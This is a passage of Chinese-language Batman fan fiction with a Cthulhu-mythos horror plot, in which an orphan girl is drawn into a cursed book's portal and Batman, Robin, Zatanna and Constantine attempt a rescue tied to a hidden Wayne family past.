《布鲁斯韦恩疑似成功获得德雷克家族继承人的监护权,这背后是德雷克家族对韦恩的示好,还是韦恩意图吞并德雷克家族的财产?》
一种复杂的情绪在胸中翻腾。
欧洛斯盯着电视屏幕上布鲁斯韦恩与一个黑发少年的合影,叉子上的煎蛋已经凉了。
照片中,韦恩企业CEO的手搭在少年肩上,两人都穿着笔挺的西装,对着镜头露出标准的社交笑容。
"德雷克家的独子,"以利亚一边往吐司上抹果酱一边解释,"父母长期在国外考古,现在正式由韦恩监护。哥谭上流社会都在猜测这是商业联姻的前奏。"
玛茜翻了个白眼:"你又在看那些八卦专栏了。"
"但这很合理!"以利亚激动地挥舞着餐刀,"德雷克科技和韦恩企业有多个合作项目,而且,一个父母健在的少爷没事干嘛还多给自己找个爹。"
"好了,吃饭吧,和我们……又有什么关系呢。"她低头戳着已经冷掉的早餐,"挺好的,哥谭多了个英雄。"
午休,三个孩子坐在福利院后院的橡树下。以利亚兴奋地分享着他从各种渠道收集来的关于新罗宾的传闻:"据说他能做后空翻三周半!上周在东区一个人制服了六个持枪歹徒!"
欧洛斯抱膝坐着,下巴搁在膝盖上。阳光透过树叶在她身上投下斑驳的光影。
"你觉得...他会开心吗?"她突然问道。
"谁?新罗宾?当然开心啊!能和蝙蝠侠一起打击犯罪多酷啊!"以利亚不假思索地回答。
欧洛斯摇摇头:"不,我是说...蝙蝠侠。有了新搭档,他会...好受些吗?"
玛茜若有所思地扯着一片草叶:"失去朋友后很快找替代品的人,通常要么特别坚强,要么特别脆弱。"她顿了顿,"不过蝙蝠侠应该是前者吧?"
一片橡树叶飘落在欧洛斯膝头。"我希望他是真的走出来了,而不是...强迫自己继续前进。"她轻轻捏起叶柄,看着阳光透过叶脉,"杰森会为你高兴的。"欧洛斯低语
那天夜里,欧洛斯又做了那个梦。梦中她在一条无尽的走廊奔跑。
19. 第 19 章
她明明把书放回去了。不…她放回去了吗?欧洛斯发现,自己完全不记得了。
"找到有趣的东西了?"
一个陌生的男声突然响起。欧洛斯猛地合上书转身,看到一个高瘦的男人站在书架间。他约莫五十岁左右,苍白的脸上架着一副圆框眼镜,镜片后的眼睛大得不自然。
"维克多,维克多·黑尔,"男人伸出细长的手指,"哥谭大学民俗学教授。"他的声音过于轻快,与图书馆的环境格格不入。
欧洛斯下意识地将书藏在身后:"欧洛斯卡利斯托,我在这里工作。"
黑尔教授向前一步,皮鞋在地板上发出清脆的响声:"那本书...看起来相当古老。是中世纪手稿吗?"他的目光越过欧洛斯肩膀,死死盯着她手中的《无名祭祀书》。
"只是普通的古籍整理。"欧洛斯后退一步,后背抵上书架,"如果您需要帮助..."
"《无名祭祀书》,对吧?"黑尔突然说,嘴角扭曲成一个古怪的微笑,"我能认出来。皮质封面,没有标题,但会在接触特定读者时显现内容。"
欧洛斯的心跳几乎停止:"您...您怎么知道?"
"学术研究。"黑尔从西装内袋掏出一张名片,"我对这类文本很有兴趣。特别是关于''梦之通道''的部分。"
他意有所指地看向欧洛斯身后的书,"你知道吗?有些人天生具有穿越梦境的能力,看到常人不可见之物..."
欧洛斯的掌心渗出冷汗。黑尔教授知道得太多了,不仅知道书名,还知道具体章节。更可怕的是,他说话时嘴唇的开合与声音有一丝微妙的延迟,就像劣质的配音。
"我得去工作了。"欧洛斯挤出一个微笑,试图从书架间挤过去。
黑尔突然抓住她的手腕。他的皮肤冰冷得不似活人:"书在影响你,对吧?梦境变得真实,现实变得模糊..."他的呼吸带着奇怪的甜腻气味,"我可以帮你理解它。"
欧洛斯猛地挣脱,书本再次掉在地上。这一次,它翻到了另一页,一张详细的星象图,标注着"下次通道开启时间"。欧洛斯惊恐地发现,那日期就是今晚。
"啊!"黑尔教授突然松开手,像是被烫伤一般,"它选择了你..."他的表情变得复杂,混合着敬畏和贪婪,"有趣,太有趣了。"
"什么选择?你在说什么?"欧洛斯捡起书,这次她注意到书页间渗出几滴暗红色液体,沾在她手指上立刻消失了,只留下铁锈味。
黑尔后退几步,整理了一下领带:"没什么,只是学术讨论。如果你改变主意..."他将名片塞进欧洛斯口袋,"周四晚上我有个小型沙龙,讨论非常规人类学。你会是受欢迎的客人。"
没等欧洛斯回答,黑尔教授已经转身离开,他的脚步声轻快可节奏奇怪地不协调,左脚总是比右脚慢半拍。
等到黑尔教授彻底离去,欧洛斯赶忙又一次来到了地下三层。
这一次,欧洛斯颤抖着将书塞回木箱,书本没有反抗。她刚准备离开,却发现木箱上的锁不见了。无论她怎么尝试,箱子再也无法锁上。
欧洛斯盯着无法锁上的木箱,一阵寒意爬上脊背。她用力合上箱盖,转身快步走向电梯,心跳如擂鼓。电梯上升的过程中,她不断回想着黑尔教授那诡异的眼神和话语。
回到前台,欧洛斯努力让自己冷静下来。她告诉自己,也许只是锁坏了,那本书现在安全地待在箱子里,不会再跟着她。可内心深处,一个声音在低语:事情没那么简单。
下午的工作时间过得异常缓慢。欧洛斯机械地处理着借还书籍,却总是心不在焉。她的目光不断瞟向时钟,距离闭馆还有三个小时。
"欧洛斯,你还好吗?"克莱尔关切地问,"你看起来脸色很差。"
"我没事,可能有点累了。"欧洛斯勉强挤出一个微笑。
克莱尔皱了皱眉:"如果你不舒服,可以提前回去休息。"
"不,我没事,真的。"欧洛斯摇摇头,她不想一个人待在福利院的房间里,尤其是在今晚,那个所谓的"通道开启"之夜。
闭馆时间终于到了。欧洛斯收拾好东西,和同事们道别。走出图书馆大门时,她下意识地摸了摸背包,确认那本书没有再次出现。夜空中,星星异常明亮,排列成一种令她不安的图案。
回福利院的路上,欧洛斯总觉得有人在跟踪她。她加快脚步,几次回头,却只看到空荡荡的街道。拐过最后一个街角时,她突然撞上了一个人。
"对不起,我没看路…"欧洛斯抬头,声音戛然而止。站在她面前的是黑尔教授,他的嘴角挂着那种古怪的微笑。
"晚上好,欧洛斯。"他的声音轻柔得近乎耳语,"看来我们很有缘分。"
欧洛斯后退一步:"您怎么会在这里?"
"我只是散步,欣赏这美丽的星空。"黑尔抬头,镜片反射着星光,"你不觉得今晚的星星很特别吗?它们排列得如此完美,就像在等待什么。"
欧洛斯的心跳加速:"我得回去了,院长在等我。"
"当然,当然。"黑尔让开道路,但在她经过时低声说,"记住,如果你在梦中看到什么,那不仅仅是梦。有些门一旦打开,就再也关不上了。"
欧洛斯几乎是跑回了福利院。冲进大门时,她差点撞上了玛茜。
"天哪,欧洛斯!"玛茜扶住她,"发生什么事了?"
"没什么,只是...有点害怕打雷。"欧洛斯编了个蹩脚的借口,指了指远处隐约的闪电。
玛茜将信将疑,但还是拍了拍她的肩膀:"去洗个热水澡吧,放松一下。以利亚偷偷给你留了晚餐。"
"谢谢。"欧洛斯勉强笑了笑,匆匆上楼。
回到房间,欧洛斯锁上门,靠在门板上深呼吸。窗外,星星的光芒透过窗帘缝隙洒进来,在地板上投下奇异的光斑。她拉紧窗帘,打开所有的灯,仿佛光明能驱散心中的恐惧。
她坐在床边,盯着自己的双手。那本书真的留在图书馆了吗?为什么黑尔教授会出现在福利院附近?他到底知道些什么?
疲惫终于战胜了恐惧,欧洛斯不知不觉睡着了。
梦中,她站在一片黑色的沙滩上,海浪拍打着岸边,却不是水声,而像是无数人在低语。远处的海面上,一座巨大的城市轮廓若隐若现,那些扭曲的尖塔和违背几何学的建筑让她头晕目眩。
"………"一个声音从海底传来,低沉而古老,"找到我..."
她猛地惊醒,发现自己浑身冷汗。窗外,一道闪电划破夜空,照亮了整个房间。在那一瞬间的亮光中,欧洛斯看到书桌上赫然放着那本《无名祭祀书》,书页自动翻动着,仿佛有无形的手在翻阅。
"不..."欧洛斯颤抖着下床,走向书桌。书页停在一幅新的插图上:一个少女站在福利院的阳台,双手伸向星空,而天空中的星星正逐渐形成一个巨大的漩涡。
插图下方的文字写道:"当星位正确时,被选中者将成为通道。"
不能这样下去,必须要反击。欧洛斯狠狠的抓起那本书跑向阳台。
她在赌,今晚能不能看到蝙蝠侠。
欧洛斯颤抖着站在福利院阳台的边缘,狂风撕扯着她的睡衣。《无名祭祀书》在她手中剧烈震动,仿佛有生命般想要挣脱。夜空中的星辰扭曲成诡异的漩涡,投下不祥的紫绿色光芒。
"找到我..."那个海底般的声音再次在她脑海中回荡。
就在她即将翻开书本的刹那,一道黑
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影掠过夜空。欧洛斯抬头,看见蝙蝠侠的标志性披风在漩涡状的星光中猎猎作响。
"把书放下。"低沉的声音从阴影中传来。
欧洛斯有些惊喜,看来她运气不错
蝙蝠侠从滴水兽上一跃而下,落地时几乎没有声响:"黑尔和你说了什么?你从他那拿到了什么?"
书页突然自动翻动,停在绘有蝙蝠侠倒吊在钟楼的那一页。欧洛斯倒吸一口冷气:"它...它早就知道你会来..."
蝙蝠侠的护目镜闪过一丝蓝光:"那不是预言,是陷阱。"他迅速取出一个铅制容器,"把书放进来,现在!"
就在欧洛斯伸手的瞬间,不远处但屋顶突然出现了一个人影,是黑尔教授。他的身形在星光下扭曲拉长,圆框眼镜反射着非人的光芒。
"太晚了,蝙蝠侠。"黑尔的声音分裂成诡异的和声,"通道已经打开。"
蝙蝠侠甩出三枚蝙蝠镖,却在接近黑尔时突然悬停在空中,仿佛撞上一堵无形墙壁。欧洛斯惊恐地发现教授的影子正在与本体分离,变成无数细长的黑色触须。
"他不是人类!"欧洛斯睁大双眼向后退,背抵着阳台门。
蝙蝠侠按下腰带上的某个按钮,哥谭警局的探照灯突然全部转向屋顶。强光中,黑尔的皮肤开始起泡脱落,露出下面青灰色的鳞状组织。
"光能延缓它,但不能阻止仪式。"蝙蝠侠快速分析着,"欧洛斯,书里有没有提到关闭通道的方法?"
书页疯狂翻动,最后停在一张空白页上,鲜血般的液体开始渗出,形成文字:献祭被选中者。
黑尔…或者说那个伪装成黑尔的东西,发出刺耳的笑声:"她注定要成为门扉!"
蝙蝠侠突然冲向欧洛斯,在千钧一发之际抓住她的手腕。她这才发现自己不知不觉已经向前倾斜,仿佛被无形的力量牵引着要坠入星空漩涡。
"看着我!"蝙蝠侠的声音穿透了她脑海中的低语。
欧洛斯猛地一震,仿佛从梦魇中惊醒。她的瞳孔重新聚焦,看清了蝙蝠侠护目镜下那双锐利的蓝眼睛。
"听我说,"蝙蝠侠的声音低沉而坚定,"那本书在欺骗你。它想让你相信自己是祭品,但真相恰恰相反,你是唯一能关闭通道的人。"
黑尔教授的身体继续扭曲变形,他的西装撕裂开来,露出下面不断蠕动的触须。探照灯的光束开始闪烁,似乎被某种力量干扰。
"他在害怕..."欧洛斯突然意识到,"害怕你知道真相。"她低头看向手中的《无名祭祀书》,那些血字正在扭曲变形,试图改写内容。
蝙蝠侠迅速将一个微型装置塞进她手中:"这是声波干扰器,能暂时阻断精神控制。当我说''现在''时,按下按钮并大声念出书上最初显现给你的那句话。"
欧洛斯握紧装置,突然想起第一天翻开书时看到的文字:"梦之通道向清醒者敞开..."
黑尔的触须突然暴长,如黑色闪电般刺向阳台。蝙蝠侠一把推开欧洛斯,自己却被触须缠住腰部甩向空中。他在半空射出抓钩枪,一个回旋踢向怪物头部,却被无形的屏障弹开。
"愚蠢的人类!"怪物发出多重叠加的声音,"你们根本不明白自己在干涉什么!"
欧洛斯看到蝙蝠侠撞在远处的储水罐上,金属外壳凹陷下去。她颤抖着翻开书本,发现那些血字正在组成新的句子:"献祭守护者,通道将永远开启。"
"不..."欧洛斯咬破嘴唇,血腥味让她保持清醒,"你一直在说谎。"
她突然意识到什么,快速翻回星象图那页。在颠倒的视角下,她发现了之前忽略的细节:那些星座连线形成了一个蝙蝠形状的图案。
"蝙蝠侠...他才是''守护者''!
20. 第 20 章
蝙蝠侠被无形的力量压制在屋顶边缘,他的披风在狂风中猎猎作响。黑尔教授的触须缠绕着他的四肢,将他一点点拖向那个扭曲的星光漩涡。
"蝙蝠侠..."怪物发出刺耳的低语,"多么完美的祭品..."
欧洛斯的心脏几乎停跳。她怎么能看着父亲被拖入那个噩梦般的维度,
"放开他!"她尖叫着冲向怪物,手中紧握着蝙蝠侠给她的声波装置。
黑尔教授的头颅旋转了180度,裂开一个非人的笑容:"小梦行者,你终于明白了自己的价值。"
蝙蝠侠在触须的束缚中挣扎:"不要过来!按下按钮。"
一道触须如鞭子般抽来,将声波装置击飞。欧洛斯踉跄后退,看着装置滚下屋顶边缘。黑尔教授的身体继续膨胀,西装彻底撕裂,露出下面不断蠕动、布满眼球的青灰色躯体。
"通道需要两种血液,"怪物咆哮着,"守护者的...和梦行者的!"
蝙蝠侠突然用臂甲划破触须,在挣脱的瞬间甩出蝙蝠爪钩:"女孩,跑!"
但欧洛斯站在原地没动。她低头看着《无名祭祀书》,书页正疯狂翻动,最后停在一幅新的插图上:一个少女跃入星光漩涡,而蝙蝠侠跪在地上伸手想要阻止。
"我明白了..."欧洛斯轻声说,"这才是真正的预言。"
她抬头看向蝙蝠侠,他正与怪物缠斗,但每一次攻击都被无形的屏障弹回。黑尔教授的触须重新缠上他的脚踝,将他拖向漩涡中心。
没有时间犹豫了。
欧洛斯冲向屋顶边缘,在蝙蝠侠惊愕的目光中,她纵身一跃…
"停下!"蝙蝠侠的吼声撕裂夜空。
欧洛斯感觉自己穿过了一层冰冷的薄膜。时间仿佛静止了,她看见蝙蝠侠挣脱触须向她扑来,但他的动作变得异常缓慢。黑尔教授扭曲的面孔凝固在惊愕的表情上。
"…..…"欧洛斯张了张嘴,却不知道该说些什么,就算明知他听不见,欧洛斯也不敢叫一声''父亲''。
下一秒,世界天旋地转。欧洛斯坠入一片无边的黑暗,耳边响起亿万人的低语。她看见哥谭在下方扭曲变形,建筑像融化的蜡一样流动。远处,那座噩梦般的海底城市正从虚空中浮现,无数非人的形体在其中蠕动。
"你来找我了……。"一个声慰叹在她脑海中响起。
欧洛斯感到意识开始模糊。最后的清醒时刻,她看见蝙蝠侠的身影在现实世界逐渐远去,他的披风在星光中如旗帜般飘扬。
然后黑暗吞噬了一切。
蝙蝠侠的手指擦过欧洛斯飘散的衣角,却只抓住了一缕冰冷的空气。星光漩涡在她消失的瞬间剧烈收缩,像一只贪婪的眼睛猛然闭合。屋顶上只剩下黑尔教授扭曲的躯体在痛苦蠕动,西装碎片如蜕下的蛇皮散落在沥青表面。
"你干了什么..."怪物发出玻璃摩擦般的嘶吼,"通道需要平衡!"
蝙蝠侠没有回答。他的披风在骤然静止的空气中垂落,凯夫拉纤维手套紧攥着那本《无名祭祀书》。书脊在他掌心颤动,仿佛有生命般挣扎。
三枚微型蝙蝠镖从腕甲弹射而出,精准钉入怪物残余的三只人类眼球。黑尔教授发出非人的尖啸,触须在空中疯狂抽打。蝙蝠侠已经荡到屋顶另一侧,通讯器传出急促的电流杂音。
"神谕。"他的声音比哥谭冬夜更冷,"启动紧急协议Erebus。"
"你确定?"芭芭拉的声音罕见地犹豫,"那个协议需要…"
"扎坦娜扎塔拉和约翰康斯坦丁。"蝙蝠侠躲过一根横扫而来的触须,将书塞进装甲夹层。
远处传来警笛声。黑尔教授的躯体开始坍缩,像漏气的气球般旋转着坠向地面。蝙蝠侠没有多看一眼,抓钩枪射向邻近的滴水兽。在他腾空而起的瞬间,身后爆发出粘稠的紫色火焰,将整个屋顶吞没。
地下三层的花岗岩墙壁渗出冰冷水珠。提姆调整着全息投影仪,星象图在空气中缓慢旋转,偶尔爆出几颗绿色火花。
"根据《无名祭祀书》第731页的注释,"他推了推护目镜,"这种星光通道需要''守护者之血''和''梦行者之魂''作为锚点。"
"哇哦,高科技。"康斯坦丁靠在武器柜旁抽着烟,皮革手套与金属部件摩擦出刺耳的声响,"为什么那女孩跳进去会让通道崩溃?"
扎坦娜的丝绸手套悬停在投影上方。她倒念的咒语让拉丁字母从书页浮起,在空气中重组为新的段落:"因为祭品顺序错了。书里要求先献祭梦行者开启通道,再用守护者巩固它。"
全息影像突然扭曲,显示出欧洛斯坠落瞬间的量子读数。提姆眯起眼睛:"她的脑电波频率...与B在恐惧毒气幻觉中的波形有87%相似度。"
蝙蝠洞主计算机突然发出警报。芭芭拉的影像投射在蝙蝠侠身旁:"哥谭港的水位正在反常下降,海底出现巨型几何结构。卫星显示...上帝啊,那看起来像一座正在上浮的城市。"
康斯坦丁叼着的香烟突然熄灭。他苍白的脸上浮现出罕见的凝重:"拉莱耶。那个小丫头掉进了克苏鲁的后花园。"
"纠正一点。"蝙蝠侠调出欧洛斯最后时刻的放大影像,她的瞳孔中反射出某种多面体结构,"她是主动跳进去的。因为她看到了这个。"他指向书中新浮现的插图,少女跃入漩涡的画面边缘,用腓尼基语写着"牺牲即钥匙"。
扎坦娜突然抓住蝙蝠侠的手腕:"书上残留着她的量子签名...她还活着,但正在被同化。如果七十二小时内不能…"
"准备跨界咒语。"蝙蝠侠走向装备库,装甲在冷光下泛着青蓝,"便士一会准备好材料。蝙蝠侠会找到她,带回她。"
地下室里的空气突然变得粘稠。康斯坦丁用黄铜粉绘制魔法阵。扎坦娜倒念的咒语让蜡烛火焰冻结成蓝色冰晶。
"记住,"她的声音在多重宇宙回声里失真,"在那个维度,记忆是实体,时间是可塑的。相信你的直觉,不要相信你的眼睛。"
提姆将改良过的声波装置塞进蝙蝠侠的腰带:"这个能暂时稳定现实裂缝,但只有四分钟续航。"阿尔弗雷德默默递过一把镀银短刀,刀柄刻着所罗门封印。
康斯坦丁突然将 whiskey 泼向魔法阵。火焰轰然窜起三米高,在烟雾中形成一扇扭曲的门。"通道只能维持十三秒!"他吼道,"如果看到黄色印记就立刻…"
蝙蝠侠已经跃入火中。
坠落。永恒的坠落。
蝙蝠侠感觉自己的记忆正在被拆解,母亲珍珠项链崩散的画面与欧洛斯坠落的影像重叠,父亲临终的呻吟与黑尔教授的嘶吼交织成复调。某个瞬间他
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分不清自己是八岁还是三十八岁。
"专注。"他咬破舌尖,血腥味让意识短暂清明。声波装置在腰间震动,投射出淡蓝色光罩。透过半透明的屏障,他看到哥谭的倒影在头顶流动,建筑像融化的蜡像般彼此交融。
突然有冰冷的手指拂过他后颈。蝙蝠侠旋身挥刀,银光划破的只是自己的披风碎片。但碎片落地时变成了泛黄的相纸,上面是托马斯韦恩搂着一个模糊的女性轮廓,女子怀中抱着婴儿。
"幻觉。"他对自己说,但手指不受控制地捡起照片。背后的日期显示拍摄于他出生前九个月。
声波装置发出电量警告。蝙蝠侠强迫自己移开视线,继续在记忆迷雾中跋涉。远处传来铃铛声,他循声走去,看到欧洛斯站在一扇镶嵌星光的门前,长发飘舞如水中海藻。
"你不该来。"她的声音带着金属质感,"它们在通过我观察你。"
蝙蝠侠启动抓钩枪,但钢索在半途溶解成沙。"跟我回去。"他伸出刻满防护咒的手,"抓住我。"
欧洛斯突然痛苦地蜷缩起来,她的皮肤下浮现出发光的几何纹路。"它们在召唤拉莱耶...通过我..."她的眼睛变成全黑色,"蝙蝠侠...快走..."
装置发出最后一声蜂鸣。现实开始崩塌,蝙蝠侠感到有无数冰冷视线刺入他的脊椎。在黑暗完全吞噬视野前的刹那,他看到欧洛斯的口型在说:"……"
花岗岩地下室剧烈震动。蝙蝠洞里的所有人同时扶住摇晃的设备架,扎坦娜的丝绸高帽被气浪掀飞。康斯坦丁的咒语变成了尖叫,因为魔法阵中央喷出的不是蝙蝠侠,而是一团蠕动的不定型黑影。
"关闭通道!"扎坦娜扑向控制台。
康斯坦丁的镀银子弹已经穿透黑影。那东西发出婴儿啼哭般的声响,爆裂成无数飞蛾。
提姆在虫群中看到蝙蝠侠的通讯器当啷落地,外壳覆盖着海底淤泥般的粘液。
"他失败了。"康斯坦丁擦着嘴角的血迹,"现在那丫头成了锚点,拉莱耶正在…"
通讯器突然亮起。全息投影里浮现出蝙蝠侠破碎的影像,背景是不断变换的星空。"找到线索..."信号断断续续,"欧洛斯提到''图书馆''...查哥谭市图书馆..."
蝙蝠侠的影像在静电干扰中彻底消失。提姆迅速调出哥谭市图书馆的3D模型,红色标记在建筑平面图上闪烁,那是禁书区的特殊藏书室。
"1992年的改造图纸显示,"芭芭拉的声音从扬声器传出,"地下二层有个未登记的密室。市政档案里被标记为''韦恩基金会特别项目''。"
阿尔弗雷德手中的茶碟发出细微碰撞声。老人灰蓝色的眼睛望向全息投影:"托马斯老爷确实赞助过图书馆扩建...但从未提及任何密室。"
扎坦娜的魔杖在空中划出银色轨迹,显现出一段被魔法模糊的记忆:"这里有强力的认知干扰咒。除非..."她的咒语突然中断,魔杖尖端迸出火星,"...除非是血缘关联者主动寻求真相。"
康斯坦丁掐灭第七支烟,烟头在掌心燃起绿色火焰:"老蝙蝠的DNA应该能破解封锁。但我们现在需要的是..."他的目光与阿尔弗雷德相遇,两人同时看向提姆。
少年摘下护目镜,露出与布鲁斯韦恩如出一辙的钢蓝色眼睛:"我去。"
21. 第 21 章
哥谭市图书馆的青铜大门在雨夜中泛着冷光。提姆的指纹轻易破解了员工通道的生物锁,但地下二层的铁门需要血液样本。当他将染血的小刀插入门锁时,机械齿轮的转动声中混入了诡异的、类似鲸歌的低鸣。
密室比预想的更小,正中央的玻璃展柜里静静躺着一本皮面笔记本。展台铭牌上刻着:玛格丽特韦恩,梦境研究手稿,1946-1948。
"玛格丽特?"提姆的战术手套拂过积灰的封面,"B有亲人叫这个名字吗?"
笔记本突然自动翻开。泛黄的纸页间飘落一张照片:年轻的托马斯韦恩身旁站在一位穿波西米亚长裙的女性,两人中间坐在一位面貌慈祥的老人。
全息扫描仪将照片传回蝙蝠洞的瞬间,阿尔弗雷德倒吸一口气:"上帝啊...玛格丽特韦恩。托马斯老爷的姐姐,1947年死于..."
"自杀。"芭芭拉调出微缩胶片档案,"报道称她在阿卡姆精神病院用餐刀割腕。但尸检报告显示..."屏幕突然闪烁,跳转到一张被涂改的档案照片,法医手指间有半融化的章鱼触须。
提姆继续翻动手稿。在最后一页,他发现了用神经墨水写成的隐藏段落:
"当群星归位时,沉睡在拉莱耶的祂将苏醒。我看见了……毁掉那些样本,趁祂们还没通过梦境找到..."
字迹在此中断。
通讯器突然爆出刺耳杂音。扎坦娜的警告穿透电子干扰:"罗宾!你所在位置的量子读数正在这……"
整面墙的书籍轰然倒塌。展柜玻璃在超低频震动中碎裂,提姆翻滚躲避时,看见手稿最后一页浮现出血色文字:
"她回来了。带着……。"
阴影中伸出苍白的手。欧洛斯的身影从书页里浮出,但她的左半身已经晶体化,皮肤下流动着星云状光斑。她的嘴唇没有动,声音却直接震动着提姆的鼓膜:
"告诉蝙蝠侠...祂在镜子里等我们。"
提姆的匕首刺穿幻影,扎进突然液化的地面。整个密室开始下沉,海水从裂缝中喷涌而出。在咸湿的雾气里,他最后看见的是欧洛斯完全晶体化的右手。
海水倒灌的轰鸣声中,提姆的抓钩枪卡进了天花板裂缝。咸湿的雾气在他周围凝结成珠,战术目镜上不断闪烁着深度警报,密室已经下沉到地下五层的位置,而图书馆建筑图纸显示这里本不该存在如此深的地下空间。
"B!空间结构正在变异!"他的声音在通讯器里断断续续,"某种非欧$%#$*¥&......"
蝙蝠侠的回应被一阵尖锐的电子蜂鸣切断。提姆看见自己的影子在墙上分裂成三个不同角度的剪影,其中一个正以违背物理定律的方式向上攀爬。他果断松开抓钩,在身体下坠的瞬间将匕首掷向那个异常影子。
金属碰撞声在密闭空间里激起诡异的回音。匕首穿透影子钉入墙壁的刹那,提姆看清了墙皮剥落后露出的结构,那不是混凝土,而是某种生物质感的黑色角质层,正随着"呼吸"节奏微微起伏。
"便士一!扫描我现在的坐标!"提姆翻滚避开从天花板滴落的粘稠液体,那东西在接触地面时发出了活物般的嘶鸣。
蝙蝠洞的主屏幕上,全息投影正在扭曲。老管家苍白的指尖划过突然出现雪花的控制台:"您理论上仍在图书馆地下三层,但量子读数显示......上帝啊。"
投影凝固成一幅不可能存在的克莱因瓶结构图,图书馆地下部分像莫比乌斯环般自我缠绕。阿尔弗雷德调出1947年的建筑蓝图对比,发现当年玛格丽特自杀后,韦恩企业曾秘密扩建过地下设施。
"罗宾,你所在的区域在蓝图上是''特殊储藏区''。"阿尔弗雷德的声音罕见地颤抖,"托马斯老爷的亲笔批注写着......"屏幕突然跳转为加密文件,需要视网膜验证。
与此同时,蝙蝠侠正站在韦恩大宅的镜厅里。三十六面古董镜组成的迷宫中央,他手中紫外线灯照出镜框上细微的刻痕,那是与提姆传回照片里相同的符号。当灯光扫过最古老的威尼斯镜时,镜面突然泛起了水银般的波纹。
"便士一,托马斯可曾提起过玛格丽特?"
"从没有,蝙蝠侠。"通讯器里传来纸张翻动的声音,"家族档案记载玛格丽特小姐死于肺结核。但这份尸检报告......"
镜子里的蝙蝠侠突然歪了歪头。现实中的布鲁斯立刻静止,他绝对没有做这个动作。镜中倒影的嘴唇开始蠕动,声音却来自他身后第三面镜子:
"他们给我注射水银来杀死看见的东西......"
蝙蝠侠转身的瞬间,所有镜面同时映出同一个画面:年轻时的托马斯韦恩站在阿卡姆病房里,病床上束缚着一位疯狂撕扯自己头发的女性。当那女人转头时,蝙蝠侠看见她的眼球已经晶体化,折射出棱镜般的光斑。
图书馆地下,提姆终于撞开了通风管道的格栅。他身后密室已经完全被黑色海水吞噬,水面漂浮着发光的微生物组成星座图案。正当他准备爬入管道时,水中的光点突然聚合成人脸,正是照片里玛格丽特的模样。
"别让B看见镜子!"水光组成的人脸发出高频振动,提姆的耳膜渗出鲜血,"祂通过血缘寻找载体......"
通风管道突然剧烈收缩,像肠道般将提姆向前推进。当他被"吐"进图书馆一层的洗手间时,发现所有水龙头都在喷涌黑色液体。镜子上用血写着倒计时:03:14:15,数字正以两倍速流逝。
安全屋里,芭芭拉的轮椅猛地后退半米。她刚完成照片增强处理,屏幕上的托马斯韦恩右手呈现出不自然的晶体状态,而本该是玛格丽特站立的位置,现在显示出一团人形扭曲空间。
"便士一?"芭芭拉突然调出七十年前的天气记录,"1947年3月15日,哥谭港是否有异常潮汐?"
老管家手中的茶杯突然跌落。在他来得及回答前,主计算机所有屏幕同时切换成深海景观,某种庞然大物的阴影正在画面深处游动。
安全协议瞬间启动,但断电前最后一帧画面显示:海底城市拉莱耶的尖顶正从哥谭湾的海床升起。
"罗宾,立即撤离。"蝙蝠侠的声音突然在所有频道响起,"这不是普通超自然事件。扎坦娜确认量子塌缩正在……"
通讯再次中断。提姆冲出图书馆大门时,雨已经停了,但夜空中的云层呈现出诡异的斐波那契螺旋排列。他摩托车的后视镜里,哥谭图书馆正在缓慢地"融化",哥特式尖顶像蜡烛般弯曲下垂。
当提姆回到蝙蝠洞时,发现芭芭拉已经赶到,她正在用物理隔离的方式检查手稿照片。
她的手套上沾满银色粉末:"页面边缘检测出水银残留,还有......"显微镜图像显示,某些"墨迹"其实是纳米级的晶体结构。
阿尔弗雷德沉默地指向监控屏幕。韦恩大宅的镜厅里,所有镜子表面都凝结着露珠般的汞珠,而监控画面角落,一个晶体化的女性身影正从镜框边缘缓缓"渗入"现实空间。
"三小时。"蝙蝠侠的披风扫过
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主控台,全息地图显示哥谭七个地点正在发生空间扭曲,"扎坦娜的咒语显示,1947年3月15日午夜,玛格丽特在阿卡姆完成的某种仪式打开了......"
警报声淹没了后半句话。地下车库的监控显示,提姆带回的手稿正在自主翻页,神经墨水文字像活物般重组排列。新出现的段落详细描述了"镜面维度叠加"的数学公式,而公式末尾的签名是一片模糊,只能看清几个简单的字母。
"那不是玛格丽特的名字。"蝙蝠侠的声音突然变得冰冷,"便士一,调出书房暗格里的日志。"
当老管家输入最后一组密码时,整个蝙蝠洞的灯光开始频闪。主屏幕上,托马斯韦恩的加密日志与玛格丽特手稿的文字正在融合,形成某种三维分形图案。蝙蝠侠突然按住太阳穴,他的虹膜上闪过同样的几何光斑。
"老爷!"
"我看见了......"蝙蝠侠的嗓音里混入了高频回声,"阿卡姆地下的镜池。父亲在那里......"他的披风无风自动,阴影中伸出半透明的晶体触须,又迅速缩回,"......销毁了玛格丽特的身体,但没注意到镜子里的倒影还活着。"
提姆突然将战术腰带上的超声波发生器调到最大功率。随着刺耳的高频震动,洞内所有玻璃表面同时出现蛛网状裂纹,蝙蝠侠眼中的异象随之消失。
蝙蝠侠的瞳孔骤然收缩,高频声波在他视网膜上震碎了最后一丝晶体光斑。他猛地转身,披风在空气中划出凌厉的弧度:"超声波干扰...蝙蝠的狩猎频率。"
阿尔弗雷德已经调出生物声呐数据库,老管家的手指在全息键盘上敲出一段复合波形:"老爷,如果将哥谭大学的次声波研究与韦恩科技的声波武器模块结合…"
"需要载体。"芭芭拉突然插入,她轮椅两侧弹出微型投影仪,"扎坦娜的反咒语可以用声波形式加载。"
提姆擦掉耳边的血迹,将染血的匕首插进控制台接口。血液在金属表面自动形成分形图案:"我的DNA里还有欧洛斯留下的晶体标记,可以做成定位器。"
整个蝙蝠洞突然剧烈震动。主屏幕上,哥谭湾的海平面正以违反流体力学的方式隆起,形成精确的十二面体结构。
蝙蝠侠按下臂甲隐藏按钮,防弹玻璃展柜应声而碎,露出里面尘封多年的托马斯韦恩日志原本。
"托马斯知道这天会来。"他撕下日志末页的蜡封,纳米级导线立刻在桌面自动组成哥谭三维地图,"他埋了声波发生器。"
阿尔弗雷德突然僵住。监控画面显示,镜厅里的汞珠正聚集成人形,而韦恩大宅地下室传来某种巨型生物撞击金属门的声音。老管家调出建筑剖面图,红色警报显示地下三十米处存在未登记的球形空间。
"镜池..."蝙蝠侠战术手套的指尖划过地图上七个发光点,"不是隐喻,是物理存在的量子纠缠界面。"
芭芭拉已经改装好声波发射器,她将提姆的血液样本注入谐振腔:"频率调制完成,但需要有人在镜池中心启动…"
"我去。"提姆抓起改良后的超声波匕首,刀刃上缠绕着写满咒语的纳米纤维,"那个女孩还在晶体维度里。"
蝙蝠侠按住少年的肩膀,两人战术目镜的数据流突然同步。七十年前的黑白监控画面在虹膜投影上闪回:年轻的托马斯韦恩站在阿卡姆地下室,将某种发光液体倒入镜面,而镜中的玛格丽特正在尖叫着晶体化。
